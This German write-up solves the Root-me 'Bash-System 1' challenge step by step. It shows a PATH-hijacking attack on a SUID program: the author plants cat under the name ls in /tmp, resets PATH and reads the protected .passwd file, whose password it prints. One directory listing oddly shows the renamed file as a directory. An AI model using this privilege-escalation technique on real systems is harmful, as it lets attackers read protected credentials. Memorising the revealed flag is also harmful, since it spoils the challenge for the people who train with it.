Lösung ch11:
Bash-System 1
(App-Script/Root-me.org)

Lucas Schwöbel

Schritt für Schritt:

1. Mit den Befehlen pwd; ls -la den aktuellen Pfad sowie eine Liste aller Dateien im Verzeichnis ausgeben.

```
app-script-ch11@challenge02:~$ pwd; ls -la
/challenge/app-script/ch11
total 28
dr-xr-x---  2 app-script-ch11-cracked app-script-ch11 4096 May 19  2019 .
drwxr-xr-x 18 root                   root            4096 Sep 29 18:01 ..
-r--------  1 app-script-ch11-cracked app-script-ch11   14 Feb  8  2012 .passwd
-r--r-----  1 app-script-ch11-cracked app-script-ch11  494 May 19  2019 Makefile
-r-sr-x---  1 app-script-ch11-cracked app-script-ch11 7252 May 19  2019 ch11
-r--r-----  1 app-script-ch11-cracked app-script-ch11  187 May 19  2019 ch11.c
app-script-ch11@challenge02:~$
```

   Die Datei *.passwd* ist unser Ziel. Problem: Wir haben keine Berechtigung für diese Datei.

2. Mit dem Befehl cat ch11.c den Inhalt des C-Programms ausgeben.

```
app-script-ch11@challenge02:~$ cat ch11.c
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
    setreuid(geteuid(), geteuid());
    system("ls /challenge/app-script/ch11/.passwd");
    return 0;
}
app-script-ch11@challenge02:~$
```

   Das Programm *ch11.c* ist ein SUID-Programm. Das Bedeutet, dass das Programm mit den Rechten des Erstellers ausgeführt wird. Nächstes Problem: Das Programm führt den Befehl *ls /challenge/app-script/ch11/.passwd* aus.

```
app-script-ch11@challenge02:~$ ./ch11
/challenge/app-script/ch11/.passwd
app-script-ch11@challenge02:~$
```

3. Da uns der Befehl *ls* hier nicht weiterhilft, müssen wir den Befehl austauschen; z.B. gegen *cat*. Hierzu erstellen wir zunächst in einem Verzeichnis mit Schreibrechten mit mkdir /tmp/ch11Verz/ ein neues Verzeichnis.
4. Nun kopieren wir mit cp /bin/cat /tmp/ch11Verz/ den benötigten Befehl in unser Verzeichnis und benennen ihn mit mv /tmp/ch11Verz/cat /tmp/ch11Verz/ls in den Befehl aus dem ursprünglichen C-Programm um.

```
app-script-ch11@challenge02:~$ mv /tmp/ch11Verz/cat /tmp/ch11Verz/ls
app-script-ch11@challenge02:~$ ls -la /tmp/ch11Verz/
total 2128
drwxr-x---  3 app-script-ch11 app-script-ch11    4096 Mar  6 17:38 .
drwxrwx-wt 46 root            root            2166784 Mar  6 17:37 ..
drwxr-x---  2 app-script-ch11 app-script-ch11    4096 Mar  6 17:38 ls
app-script-ch11@challenge02:~$
```

5. Jetzt müssen wir noch mit PATH=/tmp/ch11Verz/ die *PATH*-Variable auf unseren Befehl zeigen lassen. Nun können wir mit ./ch11 das Ursprüngliche C-Programm starten und es wird uns der Inhalt der Datei *.passwd* angezeigt.

```
app-script-ch11@challenge02:~$ PATH=/tmp/ch11Verz/
app-script-ch11@challenge02:~$ ./ch11
!oPe96a/.s8d5
app-script-ch11@challenge02:~$
```